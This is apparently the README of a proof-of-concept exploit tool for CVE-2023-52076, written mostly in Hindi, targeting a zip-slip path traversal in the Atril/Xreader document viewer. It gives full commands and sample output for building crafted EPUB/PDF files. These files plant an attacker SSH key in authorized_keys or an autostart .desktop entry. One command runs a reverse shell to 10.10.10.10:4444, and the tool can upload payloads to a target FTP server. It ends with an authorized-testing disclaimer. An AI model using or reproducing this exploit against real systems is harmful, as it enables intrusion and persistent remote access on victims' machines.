
PoC एक्सप्लॉइट CVE-2023-52076 के लिए - Atril/Xreader (MATE/Cinnamon) में zip-slip पाथ ट्रैवर्सल, जो विशेष रूप से तैयार EPUB के माध्यम से मनमानी फ़ाइल लेखन और RCE को सक्षम बनाता है। केवल अधिकृत सुरक्षा परीक्षण के लिए।
CVE-2023-52076 के लिए प्रमाण-अवधारणा, जो Atril/Xreader दस्तावेज़ व्यूअर में एक गंभीर पाथ ट्रैवर्सल और मनमाना फ़ाइल लेखन भेद्यता है, जो MATE डेस्कटॉप वातावरण को प्रभावित करती है।
स्क्रिप्ट zip-slip पथों के साथ एक निर्मित EPUB पेलोड जनरेट करती है, जो या तो SSH कॉन्फ़िगरेशन या ऑटोस्टार्ट डेस्कटॉप प्रविष्टियों को लक्षित करती है, जिससे लक्षित सिस्टम पर रिमोट कमांड निष्पादन संभव होता है।
/proc/self/cwd गैजेट्स का उपयोग करके 5-9 ट्रैवर्सल पाथ वेरिएंट में लिखता है।.epub और .pdf प्रतियां बनाता है (दोनों भेद्यता को ट्रिगर करती हैं)।Python 3.8+
ssh-keygen in PATH (SSH mode only)
SSH पेलोड स्थानीय रूप से जनरेट करें:
python3 cve_2023_52076.py --mode ssh
कस्टम कमांड के साथ ऑटोस्टार्ट RCE पेलोड जनरेट करें:
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"
python3 cve_2023_52076.py \
--mode ssh \
--name slippy-ssh \
--key ./keys/atril_rsa \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
उदाहरण आउटपुट:
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub
[+] Payload ready
Mode: SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key: ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB: ./payloads/slippy-ssh.epub
PDF copy: ./payloads/slippy-ssh.pdf
[+] SSH login remains manual:
ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>
python3 cve_2023_52076.py \
--mode autostart \
--command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
--name slippy-rce \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
उदाहरण आउटपुट:
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.
[+] Payload ready
Mode: Autostart (.desktop RCE)
Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB: ./payloads/slippy-rce.epub
PDF copy: ./payloads/slippy-rce.pdf
[+] Victim must logout/login for autostart to trigger
--mode {ssh,autostart}
Payload mode. Default: ssh
ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
autostart: Create .desktop RCE in autostart (triggers on next logout/login).
--command <CMD>
Payload command for --mode autostart. Required if --mode autostart.
Example: --command "id > /tmp/pwned.txt"
--name <NAME>
Local payload basename. Default: base-clean
--key <PATH>
Private key path (SSH mode only). Default: slippy_rsa
--key-bits <BITS>
RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072
--output-dir <DIR>
Output directory for .epub/.pdf. Default: output
--upload
Upload the payload to FTP after generating.
--host <HOST>
FTP target host or IP. Required if --upload is set.
--port <PORT>
FTP port. Default: 21
--ftp-dir <DIR>
Remote FTP directory, e.g. pub.
--ftp-user <USER>
FTP username. Default: anonymous
--ftp-password <PWD>
FTP password. Default: anonymous@
--remote-name <NAME>
Remote EPUB filename. Default: ludwig.epub
--upload-pdf
Upload the .pdf copy instead of the .epub.
--force
Replace existing output and key files.
--timeout <SECONDS>
FTP connection timeout. Default: 10.0
--only-final
Hide progress logs and print only the final summary.
--no-color
Disable ANSI colors.
--debug
Print executed subprocess commands (ssh-keygen).
~/.ssh/authorized_keys पर लिखता है।~/.config/autostart/ पर लिखता है।.desktop फ़ाइल कमांड को स्वतः निष्पादित करती है।/proc/self/cwd गैजेट निष्कर्षण समय पर हल हो जाता है।--upload का उपयोग करें)।--upload) के माध्यम से डिलीवर करें।यह PoC अधिकृत सुरक्षा परीक्षण, प्रयोगशाला वातावरण और भेद्यता सत्यापन के लिए है। इसे बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध उपयोग न करें।